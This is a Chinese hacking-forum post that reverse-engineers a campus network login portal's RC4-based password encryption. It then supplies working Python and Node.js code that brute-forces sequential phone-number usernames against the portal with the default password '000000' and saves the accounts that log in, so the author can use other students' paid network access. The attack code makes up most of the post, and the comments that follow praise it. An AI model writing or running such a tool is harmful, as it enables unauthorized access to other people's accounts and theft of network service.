校园网登陆密码逆向,并实现弱密码账号爆破

文章正文
发布时间:2025-08-19 20:56

1.介绍: 在好贵的校园网的驱使下,终于没忍住。上完课没啥事干。(没网憋得)看能不能用校园网的初始密码爆几个账号出来自己用用。


2.然后先是连接上校园网,直接浏览器跳转到了登陆界面


随便整个号登录一下,看一下登录的包



可以看到pwd =密码是经过加密的。还有个auth_tag不知道是什么。但是知道,这都是在前端的js进行加密的。我们也当然使用最简单的方法,直接找到负责加密的js代码,放在本机上运行看看。

下面就直接用pwd和auth_tag在js文件里面找一下了。
F12打开开发者工具,点击网络,筛选js,刷新一下。ctrl+f  搜索一下pwd或者auth_tag,当然是优先搜索auth_tag的。因为它可能在其他包里面的可能很小(能懂吧),出现了那就八九不离十了。
如图这样。

微信截图_20230314175915.png (53.38 KB, 下载次数: 2)

下载附件

2023-3-14 18:06 上传


搜索之后,挨个点一下,看看哪些出现auth_tag的文件都是哪一个。这里是都指向了login_new.js

然后右键选择"在来源页面打开"  然后就能看到这个文件的完整代码了。

可以看到pwd也在。然后就是断点调试,像下面这样,把可能的点都打上。

6.png (38.09 KB, 下载次数: 1)

下载附件

2023-3-14 18:27 上传



调试之后,顺藤摸瓜,把函数都找出来。最后像下面这样。

[JavaScript] 纯文本查看 复制代码

function do_encrypt_rc4(src, passwd) { src = $.trim(src+''); //这里就是处理一下src两边的空白 如过放在自己的环境里面报错直接不要就行 passwd = passwd + ''; var i, j = 0, a = 0, b = 0, c = 0, temp; var plen = passwd.length, size = src.length; var key = Array(256); //int var sbox = Array(256); //int var output = Array(size); //code of data for (i = 0; i < 256; i++) { key[i] = passwd.charCodeAt(i % plen); sbox[i] = i; } for (i = 0; i < 256; i++) { j = (j + sbox[i] + key[i]) % 256; temp = sbox[i]; sbox[i] = sbox[j]; sbox[j] = temp; } for (i = 0; i < size; i++) { a = (a + 1) % 256; b = (b + sbox[a]) % 256; temp = sbox[a]; sbox[a] = sbox[b]; sbox[b] = temp; c = (sbox[a] + sbox[b]) % 256; temp = src.charCodeAt(i) ^ sbox[c];//String.fromCharCode(src.charCodeAt(i) ^ sbox[c]); temp = temp.toString(16); if (temp.length === 1) { temp = '0' + temp; } else if (temp.length === 0) { temp = '00'; } output[i] = temp; } return output.join(''); } var rckey = +(new Date()) + ''; //就是生成一个时间戳 var pwd = do_encrypt_rc4(pwdVal, rckey); //这里的do_encry_r4就是加密的函数,断点调试,会跳进去,也贴在自己的程序里就行。 pwdval就是明文密码 var params = { opr: 'pwdLogin', //smsLogin表示短信认证登录,pwdLogin表示密码认证登录 userName: userVal, pwd : pwd, auth_tag: rckey, rememberPwd: $id("rememberPwd") && $id("rememberPwd").checked ? '1' : '0' };



到此就是表单上的两个加密字段逆向结束。

---------------------------------------------------------------分割符-----------------------------------------------------------------
下面就是直接上py代码,用于发送包,爆破密码。

[Python] 纯文本查看 复制代码

#导入包 import requests import subprocess #用于和js交互的 import threading #设置请求头 headers = { 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Origin': 'http://1.1.1.2', 'Pragma': 'no-cache', 'Referer': 'http://1.1.1.2/ac_portal/20230304150257/pc.html?template=20230304150257&tabs=pwd&vlanid=1026&url=http://www.msftconnecttest.com%2fredirect', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36', 'X-Requested-With': 'XMLHttpRequest', } # 给js传递user的值 def get_phone(phone_num): user=str(phone_num) result = subprocess.run(['node', 'jiami.js',user], capture_output=True) pwd_auth = (result.stdout.decode()).split() //用于接收js返回的值 data_str=f"opr=pwdLogin&userName={pwd_auth[0]}&pwd={pwd_auth[1]}&auth_tag={pwd_auth[2]}&rememberPwd=0" //直接按照字符串传过去,其他格式报错比如json #进行请求 response = requests.post('http://1.1.1.2/ac_portal/login.php', headers=headers, data=data_str) json_text=response.text if "'success':true" in json_text: with open('pyyhone.txt','a') as f: f.write('0'+str(phone_num)+'\n') print(json_text) for user in [一直账号的前几位+后四位变为0]: for i in range(1,9999): user=user+1 print(f"正在检测{user}") # 创建多个线程 threads = [] t = threading.Thread(target=get_phone(user)) threads.append(t) # 启动所有线程 t.start() # 等待所有线程执行完毕 if i%100==0: for t in threads: t.join()


下面在附上我改过的js代码(为了适应node.js.我电脑上只有node.js环境,和与py代码实现user传递,和pwd以及auth_tag的接收)

[JavaScript] 纯文本查看 复制代码

function do_encrypt_rc4(src, passwd) { //src = $.trim(src+''); passwd = passwd + ''; var i, j = 0, a = 0, b = 0, c = 0, temp; var plen = passwd.length, size = src.length; var key = Array(256); //int var sbox = Array(256); //int var output = Array(size); //code of data for (i = 0; i < 256; i++) { key[i] = passwd.charCodeAt(i % plen); sbox[i] = i; } for (i = 0; i < 256; i++) { j = (j + sbox[i] + key[i]) % 256; temp = sbox[i]; sbox[i] = sbox[j]; sbox[j] = temp; } for (i = 0; i < size; i++) { a = (a + 1) % 256; b = (b + sbox[a]) % 256; temp = sbox[a]; sbox[a] = sbox[b]; sbox[b] = temp; c = (sbox[a] + sbox[b]) % 256; temp = src.charCodeAt(i) ^ sbox[c];//String.fromCharCode(src.charCodeAt(i) ^ sbox[c]); temp = temp.toString(16); if (temp.length === 1) { temp = '0' + temp; } else if (temp.length === 0) { temp = '00'; } output[i] = temp; } return output.join(''); } //主代码 var user=process.argv[2]; var password='000000' //初始弱密码6个0 var rckey = +(new Date()) + ''; //这就是当前时间 var pwd = do_encrypt_rc4(password,rckey); //password= 明文密码 var params = { opr: 'pwdLogin', //smsLogin表示短信认证登录,pwdLogin表示密码认证登录 userName:user, pwd : pwd, auth_tag: rckey, rememberPwd: 0 }; var data=user+' '+pwd+' '+rckey process.stdout.write(data);



好了,overover收工!!!!!!

 

免费评分 参与人数 29吾爱币 +27 热心值 +28 理由

oldfox20042001
    + 1   我很赞同!  

Shi2002
  + 1   + 1   用心讨论,共获提升!  

涛之雨
  + 7   + 1   欢迎分析讨论交流,吾爱破解论坛有你更精彩!  

笙若
  + 1   + 1   谢谢@Thanks!  

WowtqL
    + 1   我很赞同!  

braum666
  + 1   + 1   谢谢@Thanks!  

Petrovich
    + 1   谢谢@Thanks!  

yyds999
  + 1   + 1   感谢分享  

zhaoyangdr
  + 1   + 1   谢谢@Thanks!  

1718022432
  + 1   + 1   热心回复!  

l821523193
  + 1   + 1   谢谢@Thanks!  

MSz4466
  + 1   + 1   我很赞同!  

VVovo
  + 1   + 1   热心回复!  

qaz2wsx
  + 1   + 1   用心讨论,共获提升!  

Carry666
  + 1   + 1   我很赞同!  

shiqi666
  + 1   + 1   感谢发布原创作品,吾爱破解论坛因你更精彩!  

CasualKeyL233
    + 1   用心讨论,共获提升!  

qazwert
  + 1   + 1   谢谢@Thanks!  

WinBoard
  + 1   + 1   谢谢大佬提供思路,野生小白路过&amp;#128525;  

cjw666
  + 1   + 1   用心讨论,共获提升!  

wuyuzhiren
  + 1   + 1   我很赞同!  

yeager567
    + 1   热心回复!  

yyyao2008
  + 1     热心回复!  

shenxian66
  + 1   + 1   谢谢@Thanks!  

lfm333
  + 1   + 1   谢谢@Thanks!  

LongDayDream
    + 1   用心讨论,共获提升!  

heishehui
    + 1   我很赞同!  

CasperFeehily
    + 1   我很赞同!厉害厉害  

SBKK123456
  + 1   + 1   会不会被学校逮住啊哈哈哈  

查看全部评分